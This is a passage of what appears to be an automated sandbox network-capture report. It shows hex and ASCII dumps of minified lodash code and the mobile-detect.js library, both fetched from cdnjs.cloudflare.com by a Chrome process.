72 65 6e 63 65 3d 41 6f 2c 4f 6e 2e 64 69 66 66 65 72 65 6e 63 65 42 79 3d 6b 6f 2c 4f 6e 2e 64 69 66 66 65 72 65 6e 63 
65 57 69 74 68 3d 45 6f 2c 4f 6e 2e 64 72 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 76 61 72 20 65 3d 6e 
75 6c 6c 3d 3d 6e 3f 30 3a 6e 2e 6c 65 6e 67 74 68 3b 0a 72 65 74 75 72 6e 20 65 3f 28 74 3d 72 7c 7c 74 3d 3d 3d 46 3f 
31 3a 4f 75 28 74 29 2c 76 72 28 6e 2c 30 3e 74 3f 30 3a 
Data Ascii: r,t)},On.curry=fu,On.curryRight=cu,On.debounce=au,On.defaults=Af,On.defaultsDeep=kf,On.defer=Xo,On
.delay=nf,On.difference=Ao,On.differenceBy=ko,On.differenceWith=Eo,On.drop=function(n,t,r){var e=null==n?0:n.l
ength;return e?(t=r||t===F?1:Ou(t),vr(n,0>t?0:

2022-05-13 14:40:13 UTC 837 IN Data Raw: 6e 63 74 69 6f 6e 73 49 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 
3f 5b 5d 3a 53 74 28 6e 2c 55 75 28 6e 29 29 7d 2c 4f 6e 2e 67 72 6f 75 70 42 79 3d 71 6f 2c 4f 6e 2e 69 6e 69 74 69 61 
6c 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 28 6e 75 6c 6c 3d 3d 6e 3f 30 3a 6e 2e 6c 65 6e 67 74 68 
29 3f 76 72 28 6e 2c 30 2c 2d 31 29 3a 5b 5d 7d 2c 4f 6e 2e 69 6e 74 65 72 73 65 63 74 69 6f 6e 3d 4f 6f 2c 4f 6e 2e 69 
6e 74 65 72 73 65 63 74 69 6f 6e 42 79 3d 53 6f 2c 4f 6e 2e 69 6e 74 65 72 73 65 63 74 69 6f 6e 57 69 74 68 3d 49 6f 2c 
4f 6e 2e 69 6e 76 65 72 74 3d 45 66 2c 4f 6e 2e 69 6e 76 65 72 74 42 79 3d 4f 66 2c 4f 6e 2e 69 6e 76 6f 6b 65 4d 61 70 
3d 56 6f 2c 4f 6e 2e 69 74 65 72 61 74 65 65 3d 50 75 2c 4f 
Data Ascii: nctionsIn=function(n){return null==n?[]:St(n,Uu(n))},On.groupBy=qo,On.initial=function(n){return(null==n?0:n
.length)?vr(n,0,-1):[]},On.intersection=Oo,On.intersectionBy=So,On.intersectionWith=Io,On.invert=Ef,On.invertB
y=Of,On.invokeMap=Vo,On.iteratee=Pu,O

2022-05-13 14:40:13 UTC 839 IN Data Raw: 2c 4f 6e 2e 70 75 6c 6c 41 74 3d 7a 6f 2c 4f 6e 2e 72 61 6e 67 65 3d 51 66 2c 4f 6e 2e 72 61 6e 67 65 52 69 
67 68 74 3d 58 66 2c 4f 6e 2e 72 65 61 72 67 3d 75 66 2c 4f 6e 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 
74 29 7b 0a 72 65 74 75 72 6e 28 61 66 28 6e 29 3f 66 3a 41 74 29 28 6e 2c 73 75 28 6a 65 28 74 2c 33 29 29 29 7d 2c 
4f 6e 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 3b 69 66 28 21 6e 7c 7c 
21 6e 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 72 3b 76 61 72 20 65 3d 2d 31 2c 75 3d 5b 5d 2c 69 3d 6e 2e 6c 65 
6e 67 74 68 3b 66 6f 72 28 74 3d 6a 65 28 74 2c 33 29 3b 2b 2b 65 3c 69 3b 29 7b 76 61 72 20 6f 3d 6e 5b 65 5d 3b 74 2
8 6f 2c 65 2c 6e 29 26 26 28 72 2e 70 75 73 68 28 6f 29 2c 75 2e 
Data Ascii: ,On.pullAt=zo,On.range=Qf,On.rangeRight=Xf,On.rearg=uf,On.reject=function(n,t){return(af(n)?f:At)(n,su(je(t,
3)))},On.remove=function(n,t){var r=[];if(!n||!n.length)return r;var e=-1,u=[],i=n.length;for(t=je(t,3);++e<i;){var o=n[e];t(o,e,n
)&&(r.push(o),u.
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2022-05-13 14:40:13 UTC 843 IN Data Raw: 66 69 6e 64 49 6e 64 65 78 3d 5a 65 2c 4f 6e 2e 66 69 6e 64 4b 65 79 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 
29 7b 72 65 74 75 72 6e 20 76 28 6e 2c 6a 65 28 74 2c 33 29 2c 45 74 29 7d 2c 4f 6e 2e 66 69 6e 64 4c 61 73 74 3d 5a 
6f 2c 4f 6e 2e 66 69 6e 64 4c 61 73 74 49 6e 64 65 78 3d 71 65 2c 4f 6e 2e 66 69 6e 64 4c 61 73 74 4b 65 79 3d 66 75 6e 
63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 76 28 6e 2c 6a 65 28 74 2c 33 29 2c 4f 74 29 7d 2c 4f 6e 2e 66 6c 
6f 6f 72 3d 65 63 2c 4f 6e 2e 66 6f 72 45 61 63 68 3d 72 75 2c 4f 6e 2e 66 6f 72 45 61 63 68 52 69 67 68 74 3d 65 75 2c 
4f 6e 2e 66 6f 72 49 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 3f 6e 3a 
63 6f 28 6e 2c 6a 65 28 74 2c 33 29 2c 55 75 29 7d 2c 4f 6e 
Data Ascii: findIndex=Ze,On.findKey=function(n,t){return v(n,je(t,3),Et)},On.findLast=Zo,On.findLastIndex=qe,On.findLast
Key=function(n,t){return v(n,je(t,3),Ot)},On.floor=ec,On.forEach=ru,On.forEachRight=eu,On.forIn=function(n,t){return nul
l==n?n:co(n,je(t,3),Uu)},On

2022-05-13 14:40:13 UTC 847 IN Data Raw: 2c 6a 65 28 74 2c 34 29 2c 72 2c 75 2c 6f 6f 29 7d 2c 4f 6e 2e 72 65 64 75 63 65 52 69 67 68 74 3d 66 75 6e 
63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 76 61 72 20 65 3d 61 66 28 6e 29 3f 70 3a 6d 2c 75 3d 33 3e 61 72 67 75 6d 65 
6e 74 73 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 65 28 6e 2c 6a 65 28 74 2c 34 29 2c 72 2c 75 2c 66 6f 29 7d 2c 4f 
6e 2e 72 65 70 65 61 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 74 3d 28 72 3f 7a 65 
28 6e 2c 74 2c 72 29 3a 74 3d 3d 3d 46 29 3f 31 3a 4f 75 28 74 29 2c 61 72 28 7a 75 28 6e 29 2c 74 29 7d 2c 4f 6e 2e 72 
65 70 6c 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2c 74 3d 7a 75 28 6
e 5b 30 5d 29 3b 72 65 74 75 72 6e 20 33 3e 6e 2e 6c 65 6e 67 74 
Data Ascii: ,je(t,4),r,u,oo)},On.reduceRight=function(n,t,r){var e=af(n)?p:m,u=3>arguments.length;return e(n,je(t,4),r,u
,fo)},On.repeat=function(n,t,r){return t=(r?ze(n,t,r):t===F)?1:Ou(t),ar(zu(n),t)},On.replace=function(){var n=arguments,
t=zu(n[0]);return 3>n.lengt

2022-05-13 14:40:13 UTC 848 IN Data Raw: 31 66 33 35 0d 0a 65 64 4c 61 73 74 49 6e 64 65 78 42 79 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 
72 65 74 75 72 6e 20 79 72 28 6e 2c 74 2c 6a 65 28 72 2c 32 29 2c 74 72 75 65 29 7d 2c 4f 6e 2e 73 6f 72 74 65 64 4c 61 
73 74 49 6e 64 65 78 4f 66 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 69 66 28 6e 75 6c 6c 3d 3d 6e 3f 30 3a 6e 2e 6c 
65 6e 67 74 68 29 7b 76 61 72 20 72 3d 64 72 28 6e 2c 74 2c 74 72 75 65 29 2d 31 3b 69 66 28 68 75 28 6e 5b 72 5d 2c 
74 29 29 72 65 74 75 72 6e 20 72 7d 72 65 74 75 72 6e 2d 31 7d 2c 4f 6e 2e 73 74 61 72 74 43 61 73 65 3d 24 66 2c 4f 
6e 2e 73 74 61 72 74 73 57 69 74 68 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 6e 3d 7a 
75 28 6e 29 2c 72 3d 6e 75 6c 6c 3d 3d 72 3f 30 3a 67 74 28 4f 75 
Data Ascii: 1f35edLastIndexBy=function(n,t,r){return yr(n,t,je(r,2),true)},On.sortedLastIndexOf=function(n,t){if(null==n?
0:n.length){var r=dr(n,t,true)-1;if(hu(n[r],t))return r}return-1},On.startCase=$f,On.startsWith=function(n,t,r){return n=zu(n),r=
null==r?0:gt(Ou

2022-05-13 14:40:13 UTC 852 IN Data Raw: 76 6f 6b 65 4d 61 70 3d 6c 72 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 
6f 66 20 6e 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 6e 65 77 20 4d 6e 28 74 68 69 73 29 3a 74 68 69 73 2e 6d 61 70 28 
66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 44 74 28 72 2c 6e 2c 74 29 7d 29 7d 29 2c 4d 6e 2e 70 72 6f 
74 6f 74 79 70 65 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 6
9 6c 74 65 72 28 73 75 28 6a 65 28 6e 29 29 29 7d 2c 4d 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 3d 66 75 6e 
63 74 69 6f 6e 28 6e 2c 74 29 7b 6e 3d 4f 75 28 6e 29 3b 76 61 72 20 72 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 72 2e 
5f 5f 66 69 6c 74 65 72 65 64 5f 5f 26 26 28 30 3c 6e 7c 7c 30 3e 74 
Data Ascii: vokeMap=lr(function(n,t){return typeof n=="function"?new Mn(this):this.map(function(r){return Dt(r,n,t)})}),
Mn.prototype.reject=function(n){return this.filter(su(je(n)))},Mn.prototype.slice=function(n,t){n=Ou(n);var r=this;return r.__filt
ered__&&(0<n||0>t

2022-05-13 14:40:13 UTC 856 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

36 192.168.2.3 49758 104.17.25.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:15 UTC 856 OUT GET /ajax/libs/mobile-detect/1.3.6/mobile-detect.min.js HTTP/1.1
Host: cdnjs.cloudflare.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-13 14:40:15 UTC 856 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:15 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: public, max-age=30672000
ETag: W/"5eb03f25-9341"
Last-Modified: Mon, 04 May 2020 16:13:25 GMT
cf-cdnjs-via: cfworker/kv
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
CF-Cache-Status: HIT
Age: 33487
Expires: Wed, 03 May 2023 14:40:15 GMT
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=r8FvaNE9LhDDXLscBku5pazoJz6Negho
xV6B7sbCjNqRrQwGUCMTlWuJy9c0MRC0eIp9dcqZQn%2BmjxYw8i0%2BB1XkshlskH75LsCjtp36%2BJ0rL5HkowpI
9f04KmLkaEGhwdYBGS5V"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=15780000
Server: cloudflare
CF-RAY: 70ac25f37b9c9bc2-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-05-13 14:40:15 UTC 857 IN Data Raw: 31 39 36 38 0d 0a 2f 2a 21 40 6c 69 63 65 6e 73 65 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2c 20 48 65 
69 6e 72 69 63 68 20 47 6f 65 62 6c 2c 20 4c 69 63 65 6e 73 65 3a 20 4d 49 54 2c 20 73 65 65 20 68 74 74 70 73 3a 2f 2f 
67 69 74 68 75 62 2e 63 6f 6d 2f 68 67 6f 65 62 6c 2f 6d 6f 62 69 6c 65 2d 64 65 74 65 63 74 2e 6a 73 2a 2f 0a 21 66 75 
6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 
75 6e 63 74 69 6f 6e 20 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 61 26 26 6e 75 6c 6c 21 3d 62 26 
26 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 66 75 6e 63 74 
69 6f 6e 20 63 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 2c 65 3d 
Data Ascii: 1968/*!@license Copyright 2013, Heinrich Goebl, License: MIT, see https://github.com/hgoebl/mobile-detect.js
*/!function(a,b){a(function(){"use strict";function a(a,b){return null!=a&&null!=b&&a.toLowerCase()===b.toLowerCase()}fu
nction c(a,b){var c,d,e=

2022-05-13 14:40:15 UTC 857 IN Data Raw: 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 64 3d 30 3b 64 3c 65 3b 2b 2b 64 29 69 66 28 63 3d 3d 3d 
61 5b 64 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 66 75 
6e 63 74 69 6f 6e 20 64 28 61 29 7b 66 6f 72 28 76 61 72 20 62 20 69 6e 20 61 29 68 2e 63 61 6c 6c 28 61 2c 62 29 26 
26 28 61 5b 62 5d 3d 6e 65 77 20 52 65 67 45 78 70 28 61 5b 62 5d 2c 22 69 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 65 
28 61 2c 62 29 7b 74 68 69 73 2e 75 61 3d 61 7c 7c 22 22 2c 74 68 69 73 2e 5f 63 61 63 68 65 3d 7b 7d 2c 74 68 69 73 
2e 6d 61 78 50 68 6f 6e 65 57 69 64 74 68 3d 62 7c 7c 36 30 30 7d 76 61 72 20 66 3d 7b 7d 3b 66 2e 6d 6f 62 69 6c 65 
44 65 74 65 63 74 52 75 6c 65 73 3d 7b 70 68 6f 6e 65 73 3a 7b 69 50 68 
Data Ascii: =b.toLowerCase(),d=0;d<e;++d)if(c===a[d].toLowerCase())return!0;return!1}function d(a){for(var b in a)h.call
(a,b)&&(a[b]=new RegExp(a[b],"i"))}function e(a,b){this.ua=a||"",this._cache={},this.maxPhoneWidth=b||600}var f={};f.mob
ileDetectRules={phones:{iPh

2022-05-13 14:40:15 UTC 859 IN Data Raw: 32 30 7c 58 54 38 30 30 7c 58 54 38 30 36 7c 58 54 38 36 30 7c 58 54 38 36 32 7c 58 54 38 37 35 7c 58 54 38 
38 32 7c 58 54 38 38 33 7c 58 54 38 39 34 7c 58 54 39 30 31 7c 58 54 39 30 37 7c 58 54 39 30 39 7c 58 54 39 31 30 7c 
58 54 39 31 32 7c 58 54 39 32 38 7c 58 54 39 32 36 7c 58 54 39 31 35 7c 58 54 39 31 39 7c 58 54 39 32 35 7c 58 54 31 
30 32 31 7c 5c 5c 62 4d 6f 74 6f 20 45 5c 5c 62 22 2c 53 61 6d 73 75 6e 67 3a 22 5c 5c 62 53 61 6d 73 75 6e 67 5c 5c 62 
7c 53 4d 2d 47 39 32 35 30 7c 47 54 2d 31 39 33 30 30 7c 53 47 48 2d 49 33 33 37 7c 42 47 54 2d 53 35 32 33 30 7c 47 
54 2d 42 32 31 30 30 7c 47 54 2d 42 32 37 30 30 7c 47 54 2d 42 32 37 31 30 7c 47 54 2d 42 33 32 31 30 7c 47 54 2d 42 
33 33 31 30 7c 47 54 2d 42 33 34 31 30 7c 47 54 2d 42 33 37 33 30 7c 
Data Ascii: 20|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|XT910|XT912|XT928|X
T926|XT915|XT919|XT925|XT1021|\\bMoto E\\b",Samsung:"\\bSamsung\\b|SM-G9250|GT-19300|SGH-I337|BGT-S5
230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|

2022-05-13 14:40:15 UTC 860 IN Data Raw: 33 33 35 33 7c 47 54 2d 53 33 33 37 30 7c 47 54 2d 53 33 36 35 30 7c 47 54 2d 53 33 36 35 33 7c 47 54 2d 
53 33 37 37 30 7c 47 54 2d 53 33 38 35 30 7c 47 54 2d 53 35 32 31 30 7c 47 54 2d 53 35 32 32 30 7c 47 54 2d 53 35 32 
32 39 7c 47 54 2d 53 35 32 33 30 7c 47 54 2d 53 35 32 33 33 7c 47 54 2d 53 35 32 35 30 7c 47 54 2d 53 35 32 35 33 7c 
47 54 2d 53 35 32 36 30 7c 47 54 2d 53 35 32 36 33 7c 47 54 2d 53 35 32 37 30 7c 47 54 2d 53 35 33 30 30 7c 47 54 2d 
53 35 33 33 30 7c 47 54 2d 53 35 33 35 30 7c 47 54 2d 53 35 33 36 30 7c 47 54 2d 53 35 33 36 33 7c 47 54 2d 53 35 33 
36 39 7c 47 54 2d 53 35 33 38 30 7c 47 54 2d 53 35 33 38 30 44 7c 47 54 2d 53 35 35 36 30 7c 47 54 2d 53 35 35 37 30 
7c 47 54 2d 53 35 36 30 30 7c 47 54 2d 53 35 36 30 33 7c 47 54 2d 53 35 36 
Data Ascii: 3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-
S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-
S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S56

2022-05-13 14:40:15 UTC 861 IN Data Raw: 41 38 33 37 7c 53 47 48 2d 41 38 34 37 7c 53 47 48 2d 41 38 36 37 7c 53 47 48 2d 41 38 37 37 7c 53 47 48 
2d 41 38 38 37 7c 53 47 48 2d 41 38 39 37 7c 53 47 48 2d 41 39 32 37 7c 53 47 48 2d 42 31 30 30 7c 53 47 48 2d 42 31 
33 30 7c 53 47 48 2d 42 32 30 30 7c 53 47 48 2d 42 32 32 30 7c 53 47 48 2d 43 31 30 30 7c 53 47 48 2d 43 31 31 30 7c 
53 47 48 2d 43 31 32 30 7c 53 47 48 2d 43 31 33 30 7c 53 47 48 2d 43 31 34 30 7c 53 47 48 2d 43 31 36 30 7c 53 47 48 
2d 43 31 37 30 7c 53 47 48 2d 43 31 38 30 7c 53 47 48 2d 43 32 30 30 7c 53 47 48 2d 43 32 30 37 7c 53 47 48 2d 43 32 
31 30 7c 53 47 48 2d 43 32 32 35 7c 53 47 48 2d 43 32 33 30 7c 53 47 48 2d 43 34 31 37 7c 53 47 48 2d 43 34 35 30 7c 
53 47 48 2d 44 33 30 37 7c 53 47 48 2d 44 33 34 37 7c 53 47 48 2d 44 33 35 
Data Ascii: A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-
B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-
C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D35

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:15 UTC 863 IN Data Raw: 54 39 38 39 7c 53 47 48 2d 55 31 30 30 7c 53 47 48 2d 55 32 30 30 7c 53 47 48 2d 55 38 30 30 7c 53 47 48 
2d 56 32 30 35 7c 53 47 48 2d 56 32 30 36 7c 53 47 48 2d 58 31 30 30 7c 53 47 48 2d 58 31 30 35 7c 53 47 48 2d 58 31 
32 30 7c 53 47 48 2d 58 31 34 30 7c 53 47 48 2d 58 34 32 36 7c 53 47 48 2d 58 34 32 37 7c 53 47 48 2d 58 34 37 35 7c 
53 47 48 2d 58 34 39 35 7c 53 47 48 2d 58 34 39 37 7c 53 47 48 2d 58 35 30 37 7c 53 47 48 2d 58 36 30 30 7c 53 47 48 
2d 58 36 31 30 7c 53 47 48 2d 58 36 32 30 7c 53 47 48 2d 58 36 33 30 7c 53 47 48 2d 58 37 30 30 7c 53 47 48 2d 58 38 
32 30 7c 53 47 48 2d 58 38 39 30 7c 53 47 48 2d 5a 31 33 30 7c 53 47 48 2d 5a 31 35 30 7c 53 47 48 2d 5a 31 37 30 7c 
53 47 48 2d 5a 58 31 30 7c 53 47 48 2d 5a 58 32 30 7c 53 48 57 2d 4d 31 31 
Data Ascii: T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|SGH-
X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-
X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M11

2022-05-13 14:40:15 UTC 863 IN Data Raw: 37 39 64 39 0d 0a 2d 4d 38 35 30 7c 53 50 48 2d 4d 39 30 30 7c 53 50 48 2d 4d 39 31 30 7c 53 50 48 2d 4d 
39 32 30 7c 53 50 48 2d 4d 39 33 30 7c 53 50 48 2d 4e 31 30 30 7c 53 50 48 2d 4e 32 30 30 7c 53 50 48 2d 4e 32 34 30 
7c 53 50 48 2d 4e 33 30 30 7c 53 50 48 2d 4e 34 30 30 7c 53 50 48 2d 5a 34 30 30 7c 53 57 43 2d 45 31 30 30 7c 53 43 
48 2d 69 39 30 39 7c 47 54 2d 4e 37 31 30 30 7c 47 54 2d 4e 37 31 30 35 7c 53 43 48 2d 49 35 33 35 7c 53 4d 2d 4e 39 
30 30 41 7c 53 47 48 2d 49 33 31 37 7c 53 47 48 2d 54 39 39 39 4c 7c 47 54 2d 53 35 33 36 30 42 7c 47 54 2d 49 38 32 
36 32 7c 47 54 2d 53 36 38 30 32 7c 47 54 2d 53 36 33 31 32 7c 47 54 2d 53 36 33 31 30 7c 47 54 2d 53 35 33 31 32 7c 
47 54 2d 53 35 33 31 30 7c 47 54 2d 49 39 31 30 35 7c 47 54 2d 49 38 35 31 
Data Ascii: 79d9-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-
N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|GT-N7105|SCH-I535|SM-N900A|SGH-I317|SGH-T999L|GT-S5
360B|GT-I8262|GT-S6802|GT-S6312|GT-S6310|GT-S5312|GT-S5310|GT-I9105|GT-I851

2022-05-13 14:40:15 UTC 865 IN Data Raw: 39 5d 7b 33 2c 34 7d 22 2c 4d 69 63 72 6f 6d 61 78 3a 22 4d 69 63 72 6f 6d 61 78 2e 2a 5c 5c 62 28 41 32 31 
30 7c 41 39 32 7c 41 38 38 7c 41 37 32 7c 41 31 31 31 7c 41 31 31 30 51 7c 41 31 31 35 7c 41 31 31 36 7c 41 31 31 30 
7c 41 39 30 53 7c 41 32 36 7c 41 35 31 7c 41 33 35 7c 41 35 34 7c 41 32 35 7c 41 32 37 7c 41 38 39 7c 41 36 38 7c 41 
36 35 7c 41 35 37 7c 41 39 30 29 5c 5c 62 22 2c 50 61 6c 6d 3a 22 50 61 6c 6d 53 6f 75 72 63 65 7c 50 61 6c 6d 22 2c 56
65 72 74 75 3a 22 56 65 72 74 75 7c 56 65 72 74 75 2e 2a 4c 74 64 7c 56 65 72 74 75 2e 2a 41 73 63 65 6e 74 7c 56 65 
72 74 75 2e 2a 41 79 78 74 61 7c 56 65 72 74 75 2e 2a 43 6f 6e 73 74 65 6c 6c 61 74 69 6f 6e 28 46 7c 51 75 65 73 74 
29 3f 7c 56 65 72 74 75 2e 2a 4d 6f 6e 69 6b 61 7c 56 65 72 74 75 2e 
Data Ascii: 9]{3,4}",Micromax:"Micromax.*\\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A
25|A27|A89|A68|A65|A57|A90)\\b",Palm:"PalmSource|Palm",Vertu:"Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vert
u.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.

2022-05-13 14:40:15 UTC 866 IN Data Raw: 22 49 4e 51 22 2c 47 65 6e 65 72 69 63 50 68 6f 6e 65 3a 22 54 61 70 61 74 61 6c 6b 7c 50 44 41 3b 7c 53 41 
47 45 4d 7c 5c 5c 62 6d 6d 70 5c 5c 62 7c 70 6f 63 6b 65 74 7c 5c 5c 62 70 73 70 5c 5c 62 7c 73 79 6d 62 69 61 6e 7c 53 
6d 61 72 74 70 68 6f 6e 65 7c 73 6d 61 72 74 66 6f 6e 7c 74 72 65 6f 7c 75 70 2e 62 72 6f 77 73 65 72 7c 75 70 2e 6c 69 
6e 6b 7c 76 6f 64 61 66 6f 6e 65 7c 5c 5c 62 77 61 70 5c 5c 62 7c 6e 6f 6b 69 61 7c 53 65 72 69 65 73 34 30 7c 53 65 72 
69 65 73 36 30 7c 53 36 30 7c 53 6f 6e 79 45 72 69 63 73 73 6f 6e 7c 4e 39 30 30 7c 4d 41 55 49 2e 2a 57 41 50 2e 2a 
42 72 6f 77 73 65 72 22 7d 2c 74 61 62 6c 65 74 73 3a 7b 69 50 61 64 3a 22 69 50 61 64 7c 69 50 61 64 2e 2a 4d 6f 62 
69 6c 65 22 2c 4e 65 78 75 73 54 61 62 6c 65 74 3a 22 41 6e 64 
Data Ascii: "INQ",GenericPhone:"Tapatalk|PDA;|SAGEM|\\bmmp\\b|pocket|\\bpsp\\b|symbian|Smartphone|smartfon|tre
o|up.browser|up.link|vodafone|\\bwap\\b|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser"},tablets:
{iPad:"iPad|iPad.*Mobile",NexusTablet:"And

2022-05-13 14:40:15 UTC 867 IN Data Raw: 54 39 30 30 7c 58 45 35 30 30 54 31 43 7c 53 4d 2d 50 36 30 35 56 7c 53 4d 2d 50 39 30 35 56 7c 53 4d 2d 
54 33 33 37 56 7c 53 4d 2d 54 35 33 37 56 7c 53 4d 2d 54 37 30 37 56 7c 53 4d 2d 54 38 30 37 56 7c 53 4d 2d 50 36 30 
30 58 7c 53 4d 2d 50 39 30 30 58 7c 53 4d 2d 54 32 31 30 58 7c 53 4d 2d 54 32 33 30 7c 53 4d 2d 54 32 33 30 58 7c 53 
4d 2d 54 33 32 35 7c 47 54 2d 50 37 35 30 33 7c 53 4d 2d 54 35 33 31 7c 53 4d 2d 54 33 33 30 7c 53 4d 2d 54 35 33 30 
7c 53 4d 2d 54 37 30 35 7c 53 4d 2d 54 37 30 35 43 7c 53 4d 2d 54 35 33 35 7c 53 4d 2d 54 33 33 31 7c 53 4d 2d 54 38 
30 30 7c 53 4d 2d 54 37 30 30 7c 53 4d 2d 54 35 33 37 7c 53 4d 2d 54 38 30 37 7c 53 4d 2d 50 39 30 37 41 7c 53 4d 2d 
54 33 33 37 41 7c 53 4d 2d 54 35 33 37 41 7c 53 4d 2d 54 37 30 37 41 7c 53 
Data Ascii: T900|XE500T1C|SM-P605V|SM-P905V|SM-T337V|SM-T537V|SM-T707V|SM-T807V|SM-P600X|SM-
P900X|SM-T210X|SM-T230|SM-T230X|SM-T325|GT-P7503|SM-T531|SM-T330|SM-T530|SM-T705|SM-T705C|SM-T535|
SM-T331|SM-T800|SM-T700|SM-T537|SM-T807|SM-P907A|SM-T337A|SM-T537A|SM-T707A|S

2022-05-13 14:40:15 UTC 869 IN Data Raw: 30 43 5c 5c 62 7c 4d 45 35 38 31 43 7c 4d 45 35 38 31 43 4c 7c 4d 45 38 35 31 30 43 7c 4d 45 31 38 31 43 7c 
50 30 31 59 7c 50 4f 31 4d 41 7c 50 30 31 5a 22 2c 42 6c 61 63 6b 42 65 72 72 79 54 61 62 6c 65 74 3a 22 50 6c 61 79 
42 6f 6f 6b 7c 52 49 4d 20 54 61 62 6c 65 74 22 2c 48 54 43 74 61 62 6c 65 74 3a 22 48 54 43 5f 46 6c 79 65 72 5f 50 35 
